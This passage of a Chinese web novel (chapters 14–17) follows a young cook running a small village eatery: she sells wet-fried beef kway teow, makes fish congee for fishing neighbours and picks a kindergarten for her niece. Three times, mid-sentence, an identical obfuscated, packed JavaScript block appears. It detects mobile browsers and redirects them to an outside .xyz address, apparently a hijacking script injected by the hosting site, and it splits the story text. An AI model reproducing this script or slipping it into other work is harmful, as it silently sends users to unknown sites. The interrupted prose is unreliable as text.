陈柏涛嘿嘿一笑:“说实话,赚是没有赚的,但老板能不能答应我一个请求,就是以后你出新品的话,让我先提前尝一尝?如果你能答应,以后你们家需要的餐具我都包了。” 这也太简单了,林阅棠爽快道:“可以啊。” 陈柏涛开心得不得了:“太好了谢谢老板,你需要多少个碗,我等下给你拉过来,我仓库就在村子里面。” 林阅棠补充一个要求:“我得先看看质量。” “没问题,”陈柏涛对自己产品很有信心,他怕林阅棠反悔,立刻跑回去仓库拉了两箱碗过来。 林阅棠逐一检查过没问题,就把这批碗买下来了。 一场交易,双方都觉得自己捡了个大便宜。 14. 14 翌日清晨,朝雾未散。 菜市场粉店的老板是个圆脸阿姨,她看见林阅棠,露出亲切笑意:“靓女,你来啦,你河粉跟粿条我都帮你装好了。” 林阅棠打开袋子看一看,粿条比河粉更窄更白,米味也更浓:“好香啊。” 老板得意道:“那可不,我们用的都是好材料,我就知道你这姑娘识货!” 湿炒粿条就得配牛肉跟芥兰。林阅棠今天多买了两斤牛肉,又称了一袋子芥兰菜,这芥兰浓绿饱满,根茎也新鲜,斜切了跟粿条一起炒肯定又香又脆口。 她不忘跟陈柏豪的约定,用微信通知他今天会有湿炒粿条。 陈柏豪是开车来的,他啪地关上车门就要往里走:“老板,现在能吃湿炒粿条了吗?” 脚步还没踏进去,一道骂声从后边传来:“哪个没公德心的把车子停在门口。” 陈柏豪赶紧去把车子停好。 林阅棠不知道外头的事,她正忙着炒粿条。 锅里的油热了之后她把用酱油上色好的粿条放下去炒干水分,然后加点葱段豆芽炒香,又沿着周围倒了一圈酱油,锅里滋啦滋啦散发出咸香味。 炒好的粿条先盛出来,再把用沙茶酱跟盐腌制过的牛肉跟芥兰下锅断生,淋入调好的料汁,勾芡成浓浓的汤汁淋在炒好的粿条上。 林阅棠将湿炒粿条端出来,昌大爷的眼神就黏在上面移不开了,他看小黑板上没写湿炒粿条,就问:“小棠啊,这是你自己吃的还是在店里卖的?” 陈柏豪快步走进来,接过炒粿条:“我的我的。”看他这样子,是生怕昌大爷把他的炒粿条抢过去啊。 昌大爷胡子一蹬,对这个乱停车的小白脸没什么好印象:“怎么菜单上还没有你就吃上了?” 陈柏豪:“因为我靓仔咯。” 昌大爷:“呸,我比你还靓仔。”年轻那会儿大家都说他像周润发呢。 林阅棠笑着跟昌大爷解释了自己和陈柏豪合作的事情。 昌大爷听完,瞥了一眼陈柏豪,这小子脑子还挺聪明的,让他给蹭上了。 林阅棠在黑板上写下湿炒牛肉粿条,价格跟炒河粉是一样的:“大爷,您要来一份吗?” 昌大爷:“要要要。” 林阅棠给昌大爷炒好了粿条,陈柏豪这边已经吃完在擦嘴了:“老板,我就知道你做的湿炒粿条会很好吃。” 这才是他想象中湿炒粿条的味道啊,哦不,是比想象中的还要好吃很多很多的!粿条吸饱了汤汁,每一根都泛着油润的光,比干炒更滑嫩,又比汤粉多了焦香锅气,完全就是结合了两者的优点,满分! 昌大爷夹起一筷子粿条,浓稠的酱汁挂在粿条上面,一入嘴,米香咸香肉香还有沙茶酱的香味就这么一层叠一层地在舌尖上迸发,再加上甘甜的芥兰,这一口真是香而不腻啊。 他一手勺子,一手筷子,撩起粿条不断吃着,声音含糊道:“好吃,真好吃。” “什么啊这么香。”梁奶奶走进店里。 昌大爷吸溜一根粿条,舔了舔嘴唇的酱汁:“湿炒粿条,香到发财,不吃就亏大发了。” “那我必须尝尝了。”梁奶奶也坐了下来,点了炒粿条。 刚出锅的炒粿条有点烫嘴,她吹了吹,才刚吃进嘴里,那裹满汤汁的粿条就顺着喉咙流进肚子,她赶紧夹起第二筷子仔细尝尝。 吃完之后,梁奶奶又让林阅棠给她打包一份炒粿条。 “我给我孙女带过去,她天天打电话跟我说想吃你做的东西,” “好的,我给你打包好一点。”林阅棠认认真真装好,保证不会漏出来。 梁奶奶拿着炒粿条去女儿家找孙女:“小棠今天新上了湿炒粿条,我给你买来了。” 梁橙橙开心地跳了起来,用力抱住梁奶奶:“外婆,我爱死你啦!” 梁淑慧都有点羡慕了:“妈,你怎么不给我也买一份?” 梁奶奶:“你不是不爱在外面吃早餐吗?” 梁淑慧:“那不一样,小棠做的跟其他店的不同,她做的特好吃。” 梁橙橙拎着湿炒粿条已经跑远,她到补习班看见张佳柠已经来了,立马过去跟她分享:“柠檬,来,我们一起吃。” 一打开饭盒,香味瞬间飘散出来。 张佳柠哇一声:“是小棠姐姐做的吧,好香啊。” 梁橙橙点头:“没错。” 周围的同学都馋哭了。 “哇,橙橙,你怎么又有那么好吃的东西?” “可以分我一点点吗?求你了。” “我也想吃。” …… 梁橙橙摇摇头:“不行不行,我自己都不够吃呢。” 同学们哀嚎,梁橙橙只好又说:“如果你们真想吃,后天不用来补习班,我们一起去吃吧。” “好啊好啊。” “远不远啊?我妈妈不让我去很远的地方。” “不远的,就在我外婆家那边,坐车很快就到。”梁橙橙跟他们说。 不少同学都说要去,梁橙橙还给他们拉了个扣扣群:“好啦,到时候我在群里通知你们。” 身后的刘得元擦了擦快流出来的口水,羡慕地看着他们,最终,他深吸一口气,跟梁橙橙说:“我也想去,带上我。” 梁橙橙哼了一声:“才不要带你,你之前抢我萝卜糕,而且还不道歉。” 刘得元从小就被家里惯着,让他认错难如登天,但是空气中的炒粿条香味一直在勾引他,他深吸一口气:“对不起梁橙橙!我不应该抢你的东西吃,还打你……”虽然没打过。 “哦,就算你道歉了,我也不是一定就要带你去的啊,”梁橙橙说,“除非你做我小弟,开学我擦黑板你得帮我洗抹布,而且你保证以后不能抢别人东西,也不能乱打人。” 刘得元现在毫无节操了,他就想吃粿条:“老大,我答应你!” 梁橙橙呃了一声:“好吧,我就勉为其难带上你吧。” 补习班的李老师刚好进来,鼻尖闻到一股诱人的味道,她是吃过早餐的,但这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072315|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿居然有种又饿了的感觉。 梁橙橙跟张佳柠赶紧把剩下的炒粿条吃完,梁橙橙还把饭盒底下的汤汁都刮得干干净净,这才拿去垃圾桶扔了。 这次补习,李老师给他们提前学习六年级的数学内容。 李老师把这单元的知识点都讲完就到下课时间,孩子们都准备收拾东西回家了,李老师实在是没忍住,把梁橙橙喊了过来。 “橙橙,你在哪家店买的炒粿条?可以跟老师说吗,我也想买一份。” 梁橙橙还以为自己听课的时候玩橡皮擦的事情被发现了,听到老师是问这个,她松口气,说:“老师,这家店没有外卖,它在圣沙村后门,就是靠近骨科三院的地方,也没有招牌的。” 居然没外卖,李老师失望地叹了口气,圣沙村离这里五公里左右,不算特别远,但是她还有课呢……突然,李老师眼睛一亮,没有外卖,但她可以叫跑腿啊! 王志彪正在一家奶茶店门前等单,旁边的骑手收到一条单子,咦了一声。 “这跑腿单真奇怪,让我去圣沙村一家店买一份炒粿条,而且还是家没有招牌的店,这要怎么找啊。” 身为骑手,王志彪对地址还挺敏感的,他一下子就想起来了,这不就是自己手指受伤那天去医院跟着别人找到的那家宝藏小店嘛。 他后来还经常去吃呢。 “你就导航圣沙村后门,去到那里闻到味道最香的那家店就是了,准不会找错的。”王志彪哈哈哈哈地拍了拍对方肩膀。 年轻的骑手更懵逼了,这都啥跟啥啊? 骑手骑着小电驴,一拐进圣沙村,迎面扑来一股混着油香、粉香、肉香的味道。 前面看似不起眼的小店居然满是人。 骑手愣了好一会,然后赶紧跟顾客说人太多排队要加钱,顾客大方同意。 前面的客人听到报号端走自己的炒粿条,那浓稠的酱汁渗在颤颤的粿条里,骑手看了一眼,可算是理解为什么顾客隔着五公里都要点跑腿买这家店的炒粿条了。 要不是没时间,他肯定是要买一份来尝尝的。 骑手把炒粿条送到李老师手上还是热乎的,李老师幸福地拿着自己的炒粿条回到办公室,一路上她的心情又期待又忐忑,可千万不要让她失望啊! 这个时间点,补习班的老师们都在办公室,虽然说暑假补课有钱,但也确实挺累的,累的时候就想吃点东西补充一下能量。 老师们中午都点了外卖。 “哎呀,踩雷了,我这个螺蛳粉好难吃,粉都坨了,汤也没有味道。” “难道是我用了优惠券的原因商家把隔夜猪脚饭给我了?我怎么觉得不太新鲜呢。” …… 李老师打开饭盒盖子,里面的粿条看着格外诱人,她迫不及待拿起筷子迅速吃了一口,果然非常好吃,粿条口感特别软糯,汤汁很香,牛肉又大片又嫩又多汁,而且还有烟火气。 这钱花得值啊! 其他老师都被吸引住了:“谁的外卖那么香啊?” 15. 15 李老师本来想悄咪咪吃的,但炒粿条的香味实在是挡都挡不住啊,老师们很快就发现了。 “李老师,你这吃的是什么啊?真香。” “是啊,闻着就知道很好吃,早知道我也跟你一起点了。你能不能让我尝一口啊?” “这家店没有外卖,我是找跑腿去买的。”李老师用干净的筷子夹起下面没吃到的地方,每人分了一点点炒粿条尝个味道。 其他老师吃完,纷纷都向李老师要了地址,明天她们也要找跑腿买! 骨科医院,住院部。 游小中这两天很开心,隔壁那个小孩终于不天天鬼哭狼嚎了,但还没高兴多久,病房又转进来一个小男孩。 跟曹子涵一样的年纪,两人甚至名字都有一个字相同,他叫赵子皓。 曹子涵伤的右手,赵子皓伤的左手,两人颇有难兄难弟那味了。 赵子皓也是个能哭的,哭得整个病房都跟着震。 曹子涵看见赵子皓哭,他莫名也想跟着嚎一句,小嘴巴都已经张开了,但是想到奶奶说的如果他哭就不带他去吃蜘蛛侠蛋还有香香弹弹的球球丸了,于是他又默默把哭声咽了回去。 子皓妈妈很羡慕:“阿姨,你家孩子可真乖啊,一点都不哭闹。” 曹大姨说:“孩子喜欢啥,买来哄一哄吧。” 子皓妈妈笑容苦涩:“我儿子现在连玩具跟零食都不要了,我也不知道怎么哄了,还是你家孩子让人省心。” “我家这个前几天跟你小孩一样哭得对面都听得见,”曹大姨想了想,“要不你跟我去个地方吧,说不定你家孩子去了也不哭了。” 子皓妈妈跟着曹大姨走出医院,然后来到一家小饭馆门前。 曹大姨跟子皓妈妈说:“这家店的东西很好吃,子涵就特别喜欢吃,吃完可听话了。老板,给我煮两碗牛肉丸汤,我还要两个茶叶蛋,茶叶蛋我自己装了哈。” 小饭馆生意好,老板特别忙,曹大姨来了几趟,也学会自己动手拿茶叶蛋了。 曹子涵用左手捧着茶叶蛋开吃。 子皓妈妈闻着味道觉得确实还挺香的,蛋白浸出的茶酱渍也格外诱人,怀中原本在哭闹的儿子忽然转过头,直勾勾盯着那茶叶蛋。 曹子涵吃完茶叶蛋,将小嘴巴凑到碗边喝牛肉丸的汤,他一口接着一口喝,还会自己用勺子舀起牛肉丸吹了吹,然后大口地咬进嘴巴里,吃得特别香。 赵子皓看馋了,他挂着一脸泪痕,哭也不哭了,就哼哼唧唧:“妈妈,我要吃,要吃。” 子皓妈妈惊讶,她连忙说:“老板,也给我们来一碗牛肉丸汤吧。” 赵子皓自己主动去握住勺子,学着曹子涵的模样喝汤,他小嘴巴润润的,舀一勺汤颤颤地抬起来:“好喝,麻麻也喝~” “谢谢儿子。”子皓妈妈连忙低头喝了一口勺子里的牛肉丸汤,汤里有牛油的奶香跟肉汁的鲜美,清淡又香醇,真的很不错。 等林阅棠出来收拾餐桌,子皓妈妈忍不住夸赞:“老板,你家东西太好吃了,我儿子从小就不怎么爱吃饭,一到饭点就要全家人追在身后哄着吃,这还是他第一次自己那么自动自觉吃东西呢。” 曹大姨:“我家这个也是,看来不是孩子不乖,是我们做的东西不够好吃。” 林阅棠笑着看了两个小朋友:“喜欢就多吃点,吃饱了手上的伤才能快点好。” 曹子涵听完,脸上带着一点小纠结:“可,可我不想快点好,我想要天天住医院,天天都来这里吃饭。” 赵子皓含着半颗丸子嗯嗯点头表示赞同:“在医院真好!可以吃到好吃的丸丸!” 曹大姨、子皓妈妈:“???” 林阅棠默默把碗筷端进厨房,心想不关她事哈,这可不是她教的咳咳。 子皓妈妈也饿了,她看一眼菜单,跟老板点一份牛肉湿炒粿条,这炒粿条第一口是烫、第二口是香、第三口是糯,好吃得让人停不下嘴。 快吃完的时候,子皓妈妈又另外点一碗牛肉汤跟炒粿条打包带走。 回到住院部,子皓妈妈把打包盒放在隔壁病人的柜桌上。 “靓仔,我儿子早上不小心踢翻水杯把你的枕□□湿真不好意思,我请你吃午饭吧,呐,你要是不收下呢,就是不给我面子。” 子皓妈妈后边一句话,让游小中都不敢拒绝了。 这时,门外跳进来一个穿着T恤的年轻人。 “嘿嘿嘿,游哥,你的腿咋样了?我一考完试就打车过来看你了,怎么样,够讲义气吧。” 游小中是A大一名大二的学生,前段时间刚考完试,他去篮球场打球摔伤腿住院,面前这个人是他室友,虽然不是同一个专业,但关系不错。 “就那样吧,医生说还得再住一段时间。”游小中说。 黄卓洲拿起他旁边的拐杖:“那你接下来是不是就只能用这个走路?” “是啊,所以在医院那么多天我都只待在病房里,根本不想出门,”游小中问,“我要吃饭了,你要不要来一口?” 黄卓洲拒绝:“医院的饭肯定没滋没味非常难吃,我才不要。” “行吧。”游小中打开饭盒盖子,一股香味飘散出来。 刚刚还十分坚定的黄卓洲被这味道一吸引,突然就有点后悔自己刚刚说的话。 游小中拿起筷子,他先吃了口炒粿条,紧接着去喝牛肉汤,再来一口牛肉丸:“这个牛肉丸好好吃,跟我之前吃过都不一样,它这个真的全是牛肉做的。” 黄卓洲狂吞口水:“两份呢,你吃不完吧,要不我帮你吃点?” “不,我吃得完,你刚刚不是说肯定不好吃吗?”游小中呵呵一笑。 “游哥,求你了,就让我吃两口好吗,以后我就是你的腿,你想要去哪里我背着你行吗?这闻着也太香了,没想到这医院的饭味道还不错。” “这不是医院的,这是隔壁阿姨在外面买的。”游小中说。 黄卓洲:“难怪。” 最后黄卓洲凭借着自己的厚颜无耻,成功从病号的手上抢到半碗牛肉丸汤跟半盒炒粿条。 “天啊,这也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15072316|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太好吃了吧,炒粿条一点都不腻,味道好香啊,汤也很好喝,肯定是哪个高档茶楼出品,价格特别贵的那种,”黄卓洲吧砸了一下嘴巴,他根本没吃够,于是去问曹大姨她们是在哪里买的。 曹大姨说出地址:“不过你得明天再去了,这家店可火了,很多顾客排队的,这个点老板应该已经卖完关门了。” 黄卓洲舔了舔唇,就跟游小中说:“游哥,我明天再过来看你哦。” 游小中:“……”你明天过来真的只是为了来看我吗兄弟? 半个小时前。 王志彪接到了一个跑腿单,他一看信息,嚯,是让他去小饭馆买六份炒粿条的。 一看就是六个人拼单。 炒粿条虽然好吃,但王志彪觉得店里面的炒河粉跟牛肉丸汤真的也很不错,不过下单的顾客估计只知道这家店有炒粿条,于是他非常热心地给顾客拍了一张菜单。 另一边,李老师收到菜单照,就跟其他老师分享:“这家店还有其他菜品耶,你们要不要换一下?” “不要,我就要吃粿条。” “这个牛肉丸汤看着不错,我换成这个吧。” “居然有炒米粉,我改成炒米粉好了。” 李老师把最后确定好的菜单发给外卖员,二十多分钟后,热腾腾的外卖送到她们手上,就跟刚刚出锅的一样。 “好好吃,这个炒粿条的酱汁是不是有加番茄的?酸甜咸融合得好美味。” “牛肉丸汤绝了,鲜美无比。” “小梁,我分你一点炒米粉,你给我一颗牛肉丸可以吗?” “行,我也想试试牛肉丸。” …… 老师们大家互相分着,每一种都尝了尝,刚开始她们还想要选一下哪样东西最好吃,到最后发现根本选不出来,因为每一样都很美味! 烈日当空,中午的阳光又辣又毒,林阅棠收拾完东西,额头带着点汗珠。 小卿宝心疼地帮林阅棠擦擦汗,又给林阅棠倒水,然后走到林阅棠的身后,软乎乎的小手捏起给她捶背:“小姨,这样有没有少一点点辛苦呀~” 林阅棠觉得小孩子说话真的非常可爱,她笑着说:“有耶。” 小卿宝一听,捶得更认真了,还一二三一二三地数着节奏。 林阅棠清点今天的收入,很满意,她心里盘算着,等攒够小卿宝的学费,她就要存钱定制个招牌,再安装一个空调。 林阅棠把手机跟现金都放进包里,她拿起钥匙,拉着小卿宝的小手关门回到楼上。 她盛了点水,上去给小葱浇一浇水,然后把晒过的香芋收进来。 “宝宝,今天给你做个反沙香芋要不要呀?” 小卿宝震惊:“小姨,我们要吃沙子吗?那,那要不要我帮忙挖?我有小铲子。” 林阅棠噗嗤一声笑出来:“不是那个沙子,这里的沙子是指糖。” 小卿宝哇哦,奶声奶气地说:“那就是甜甜的咯?” 林阅棠学着她的语气的:“没错,就是甜甜的哦~” 16. 16 林阅棠把香芋削皮切成手指大小,油锅烧至六分热,芋条滑入锅中,炸到金黄酥脆捞出来摆在一旁沥油。 她又迅速用糖跟水熬出一锅浓稠冒小泡的糖浆,关掉火后将香芋条放下去快速翻炒,让糖浆均匀地包裹上每一根香芋条,糖浆冷却之后就变成了沙沙的结晶,一盘子的香芋条就跟在雪地里滚了一圈一样。 这道甜品难度不大,只要把控好熬糖浆的油温就行。 林阅棠前世时,有一位师傅就很喜欢弄这个吃,她小时候,是师傅做给她吃,她长大了就由她做给师傅们吃,再后来,师傅们都不在人世了,她自己一个人做来吃,总觉得少了点什么滋味。 林阅棠抬头,看见正在茶几上画画的小卿宝,嘴角勾起一抹笑意。 好在,现在她又有家人了。 “甜甜的反沙香芋好啦。”林阅棠坐到小卿宝旁边。 小卿宝拿起一根香芋条:“小姨,上面真的都是糖糖耶。” 她先是伸出舌头轻轻舔了一下,糖霜有种蓬松的感觉,小家伙惊喜道:“好好吃!” 紧接着,她啊呜一口咬断香芋条,被炸过的芋泥香味带着热度,伴随咀嚼的动作,跟饱含颗粒感的沙糖一起从舌尖上融化,满嘴都是香味。 小卿宝开心得一下子吃了很多条,还说要画下来。 林阅棠捏着一根香芋条送进嘴里,吃完去看小卿宝的画:“宝宝,你画得好棒哦。” 小卿宝把画纸端起来闻了闻:“没有甜甜的味道。”小姨做的香芋条条有甜甜的香味,她画的香芋条条却没有,她什么时候才能画出甜甜的味道呢,四岁的小画家在心里苦恼地叹了口气。 河边。 一排钓鱼佬戴着太阳帽蹲在江边,还有两个小孩在旁边捡石头玩。 忽然,水面传来一点动静,浮标微颤,昌大爷立马收杆,一条肥美的草鱼拧身摆尾地被拽上了岸。 陈大爷酸溜溜:“老昌今天杀疯了啊,这一条差不多得有十斤重吧,不过比我去年钓的那条青鱼还差了点。” 其他人围了过来:“可以喔老昌,两条大鱼啊,今晚哪里开餐啊?” 他们钓鱼佬之间有个不成文的约定,就是如果有人钓到大鱼,那就拿去饭店找师傅加工,大家一起吃一顿。 有人说:“要不就去陈记大排档?陈记的师傅不愧是大酒楼退休回来的,他上次做的那道豉油煎鱼确实不错。” “我也觉得。” …… 昌大爷笑得见牙不见眼:“不去陈记,我带你们去另一个地方,保证你们‘食过返寻味’。” 说完,他去问陈大爷:“老陈,你有没有小棠的联系方式,问问她能不能帮忙加工鱼,就,就按照三十块一斤的价格算吧。” 东城这边饭店帮忙加工通常是十几块的市场价,但昌大爷觉得林阅棠的手艺更贵一点完全没问题。 陈大爷掏手机:“我打电话问问我家老婆子。” 陈大爷打电话过去时,林阅棠正好在给招奶奶送反沙香芋吃。 “你这个香芋好糯啊……”招奶奶正回味呢,一看手机,“这老头这时候打电话回来做什么?” 招奶奶接通,听完陈大爷的话后,问林阅棠:“小棠,老陈他们搞了两条鱼,想要按照三十块一斤的价格请你加工,你看要不要接?” 林阅棠问:“现在吗?” 招奶奶点点头。 林阅棠这会也没什么事情做:“那你问问弄个生滚鱼片粥行不行。” 昌大爷上次看陈大爷喝海鲜粥就馋得要死,听见能吃上生滚鱼片粥,二话不说直接同意。 林阅棠起身:“行,招奶奶,我先去菜市场买点食材。” 招奶奶问:“要买啥?” 林阅棠:“买点姜跟芹菜。” 招奶奶也起身:“哎呀,我们自己有种,等下我带你去摘。” 林阅棠问清楚人数后,回去把最适合煮粥的珍珠米先给泡上,然后招奶奶带着她去了梁奶奶家,梁奶奶家前面有个大院子,长满两位老太太一起种的菜。 招奶奶本来还想喊梁奶奶一块去喝喝粥,喊了半天发现没人在家,就摘了些姜跟芹菜回去。 一辆车刚好停在了店门前,两条大鱼挂在车后面,估计是炫耀了一路回来的。 “这么大条啊,昌爷爷你真厉害。”林阅棠一看就知道这鱼绝对好吃。 “小意思,随便钓钓就上来了,”昌大爷美滋滋把鱼给拿下来,“我们称了是十六斤,你要不要再称称?。” 林阅棠用手颠了颠,确实差不多:“不用了,就按十六斤算,我去厨房处理,你们先坐一下吧。” 他们这一行人是五个大人带两个小孩,其中一个大爷姓韩,他也很喜欢各种美食,不钓鱼的时候就经常跟昌大爷到处找吃的,但这家店他还是第一次来,又看店主居然那么年轻,某种刻板印象就上来了:“老昌,你确定这家店比杨记那大师傅的手艺要好?你可别踩雷啊。” “你就等着瞧吧,这顿吃完了,你绝对就惦记上了。”昌大爷嘚瑟地胡子一抖一抖的。 韩大爷:“能让你有那么高评价,那我还真要好好试试看。” 林阅棠端了两碟子反沙香芋出来:“先试试这个吧。” 韩大爷拿起一根香芋条,沙糖饱满地覆在香芋条上,吃起来又甜又糯又香:“这老板的手艺还真是可以喔。”他也吃过几次反沙香芋,但要不就是有点糊味的,要不就是裹得不均匀的,这次的竟然找不出一点缺点。 韩大爷把自己的双胞胎孙子孙女也喊过来,让他们尝尝。 两个小孩比小卿宝大一岁,对于这种甜滋滋的小甜品自然是没有抵抗力的,他们吃了一根又一根,然后去找小卿宝玩。 “你在家里天天都可以吃到这个香芋条吗?” 小卿宝摇摇脑袋:“没有哦,不过小姨每天都会给我做各种不同的但都好好吃的东西。” 双胞胎妹妹好羡慕啊:“你好幸福哦。” 小卿宝害羞地捧着脸蛋,她也觉得在小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15072317|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨身边她就是最幸福的小孩子! 双胞胎哥哥看两碟子的香芋条都吃完了,便把糖碎倒在自己的手上,给妹妹跟小卿宝都分了一点。 厨房里,林阅棠手脚迅速地将草鱼杀了剃掉鱼骨切成薄片,然后用姜丝蛋清盐等搅拌均匀腌制去腥。 在等砂锅里的粥熬开时,她又炸了些花生等下可以搭配着粥吃。 白粥熬到米粒爆花,林阅棠将鱼片倒进去用筷子划开,大概一分钟左右鱼片就熟了,她撒上一把香芹碎端出去。 “好啦,可以吃啦。” 这个砂锅足够大,两条鱼的肉一次性煮下去不少,用勺子一舀就是一大片奶白色的鱼肉,鱼片是烫熟而不是煮熟的,嫩得一抿就化,昌大爷又喝了粥,这粥底煮了那么久,绵滑浓稠不说,还满满鲜甜滋味。 “正,太正了!”昌大爷叹谓一声,迅速添了第二碗,还给自己舀了一勺子花生放在粥上面。 花生炸得又香又脆,跟粥一起喝,简直不要太美味。 “我也来试试。”韩大爷舀起一勺粥,鱼片刚入口他就瞪圆了眼睛,话也不说了,闭上嘴细细地感受着鱼肉的鲜美,直到米香味与鱼香味一起滚落了喉咙,他才喃喃道,“这鱼比豆腐还嫩,老韩,还是你会吃啊,我之前送小孩来这边上学都没发现这家店。” 陈大爷说:“小棠刚开业没多久,人家生意可好,要不是邻里认识,咱们还真吃不上她煮的这锅粥。” 韩大爷这次刚好舀到鱼泡,鱼泡挂着甘润的粥水,一点腥味都没有,吃起来滑嫩爽脆:“三十块钱还是实惠价了,小棠,你这手艺收个七八十都行,下回你该涨价了,我们不占你便宜。” “行啊。”林阅棠笑了笑,得到昌大爷的同意后,给三个小孩都添满了粥,她提前去了大骨细骨,也不担心小孩子们会卡喉咙。 三个小家伙喝得小脸都要埋进碗里面了。 招奶奶乐呵呵地笑,又问韩大爷:“你家这两个是不是在圣沙幼儿园念书啊?” 韩大爷:“是啊。” 圣沙幼儿园就在附近,他以前只是偶尔接送双胞胎,现在他决定等开学后天天都送他们来上学,然后就来这里买一份早餐吃。 这时候,韩大爷突然反应过来,为什么老陈跟老昌最近早上总是没来,感情是上这儿吃好东西了,也不早点告诉他,哼! 招奶奶又问林阅棠:“宝宝以后是要回这边上幼儿园了吧。” 林阅棠点点头:“我准备给她报市一幼儿园。” 招奶奶:“市一太远了,你怎么不报在圣沙呢?宝宝户口在这边,还不用学费。” 林阅棠没有养过小孩,她也不知道原来还有免学费这一说法,她选市一是因为这是东城最好的幼儿园。 从小到大,师傅们都是给她最好的,她也是下意识就要给小卿宝最好的。 林阅棠重新查了一下圣沙幼儿园的资料,发现这个幼儿园资历也很不错,在区里面能排第二,在整个市里也是能排到前列,而且离家里非常近。 17. 17 招奶奶说幼儿园还是要选比较近的。 韩大爷很赞同:“我们家这两个刚开始就是在市一念幼儿园,哇市一旁边那条里环路塞车塞死个人,后来实在顶不住转到圣沙这边来了,不要去不要去,我跟你说,小孩都不乐意去那边上学,塞车烦呐。” “这么夸张呀。”林阅棠很惊讶,她说着,不经意看一眼砂锅,见里面的粥已经差不多空了,又问,“你们还要吃吗?厨房还剩了点粥跟鱼肉,可惜没有炉子,不然搞个粥底火锅还可以边吃边聊。”两条鱼片出六斤左右的鱼片,厨房还剩两斤多。 陈大爷一拍腿:“我家有啊!我去拿!” 林阅棠起身去厨房,厨房的粥是刚开始煮多了盛出来的,现在用来打火锅的话太过浓稠。 林阅棠把鱼头鱼尾还有几块片不了的鱼块放进高压锅里,再加两个蛋打进去一起煎了煎,然后倒水上汽迅速煮了个奶白的鱼汤。 鱼汤跟米粥搅一搅用来当锅底,陈大爷还拿了一包海鲜菇过来,林阅棠帮忙洗干净,然后简单调了个蘸酱。 除了昌大爷跟陈大爷其他人都没吃早餐,户外钓鱼的位置爬爬走走很消耗体力,大家胃口大着呢,锅底一煮开,大人们纷纷用筷子夹起薄薄的鱼片往锅里烫,小孩子们在旁边嗷嗷待哺。 光用筷子根本赶不上吃的速度,林阅棠又找来漏勺,用漏勺装着鱼片往粥底里烫煮,海鲜菇也一起放下去。 沾了点鱼肉滋味的海鲜菇更有海鲜那风味了,蘸着将一起吃特别美味,韩大爷的孙子本来不爱吃菇的,这会儿居然还主动让他爷爷帮忙夹锅里的海鲜菇吃。 吃到一半,招奶奶看见梁奶奶从外面经过,连忙招呼她进来:“你去哪了?中午去你家都没看见你。” “到处走走咯,哇,你们那么享受啊。”梁奶奶笑着坐下来。 招奶奶给她倒了一勺子鱼片:“还没吃饭吧,快尝尝,这是自己钓的鱼,让小棠帮忙加工的。” 梁奶奶低头吃了一块,先感受到米汤的鲜美,紧接着就是鱼片的嫩滑,她连连点头:“不错不错,小棠调的这个味道很香。”米粥锅底听着简单,里头也大有讲究的,过浓过淡都不好。 昌大爷跟梁奶奶也认识:“刚刚的生滚粥也很靓,你没赶上。” 梁奶奶:“现在也不迟嘛。” 大家说笑着聊天,一派其乐融融。 这一锅下去,可算将众人干饱了,连最有精力的双胞胎都躺在椅子上满足地摸摸自己的肚肚。 林阅棠也吃了个八九分饱,她帮小卿宝擦了擦嘴巴,然后上楼摘了点葱,回到厨房把放在冰箱里冰镇的鱼皮拿出来。 鱼皮是切块后焯过水的,林阅棠又用香葱、蒜蓉、小米椒、炸花生,白芝麻,再加上自己调的辣醋酱弄了份凉拌鱼皮。 “昌爷爷,这鱼皮你拿回去记得放冰箱冷藏三小时以上再拿出来吃。” 昌大爷没想到林阅棠连鱼片都没浪费掉:“谢谢啊小棠。” 其他几个老头眼睛都看直了。 陈大爷:“老昌,分我一点呗,你别忘了,还是我带你来小棠这里的。” 韩大爷:“我在陈记那里还点了条东星斑没吃呢,我不准备让陈记的师傅杀了,我要拿回来让小棠帮忙做,小棠你看行吗?” 林阅棠点点头说:“我下午都有时间的。” 另外两个大爷也表示:“老昌,我们以后钓了鱼肯定也是想找小棠加工的,你就说你到时候吃不吃吧。” 这几人一说一唱的,昌大爷没办法,找林阅棠要来些打包盒,每个人都分了点,昌大爷看着自己饭盒里的鱼皮叹了口气,看着真好吃,可惜都不够晒牙缝呢,唉。 锅底的汤跟半碟子鱼片被招奶奶跟梁奶奶分了。 招奶奶说:“晚上再去市场买点豆腐,等星星下班回来给他当宵夜。” 客人们离开后,林阅棠带着小卿宝出门散步消食,她们走到幼儿园门口,透过可爱的卡通栏杆看着里面的小花园,小卿宝指里面的蓝色滑滑梯:“是大笨象!” “是哦,它的鼻子好长啊,”林阅棠问小卿宝,“宝宝,你想要在这里念幼儿园吗?” 